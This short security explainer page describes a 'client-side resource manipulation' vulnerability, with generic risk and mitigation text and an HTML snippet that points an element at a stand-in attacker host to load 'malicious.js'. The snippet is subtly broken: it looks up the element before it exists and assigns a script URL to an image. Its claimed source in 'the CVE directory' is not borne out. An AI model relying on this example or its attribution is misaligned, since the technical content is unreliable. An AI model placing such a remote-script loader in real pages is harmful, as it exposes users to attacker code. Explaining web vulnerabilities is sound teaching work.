Client Side Vulnerabilities / Client-Side Resource Manipulation
The risk associated with this vulnerability is high as it can allow attackers to gain access to sensitive data or resources, bypass authentication and authorization, or even execute malicious code on the client-side. A successful exploitation of this vulnerability can result in a full compromise of the system.
The best way to mitigate the risk of this vulnerability is to ensure that all client-side resources are validated and that access to these resources is limited to authenticated and authorized users. Additionally, it is important to regularly test and monitor access to these resources as part of an overall security strategy.
The following example of a client-side resource manipulation vulnerability is taken from the CVE directory:
<div> <script> var resource = document.getElementById('resource'); resource.src = 'http://attacker.example.com/malicious.js'; </script> <img id="resource" src="http://example.org/resource.jpg" /> </div>
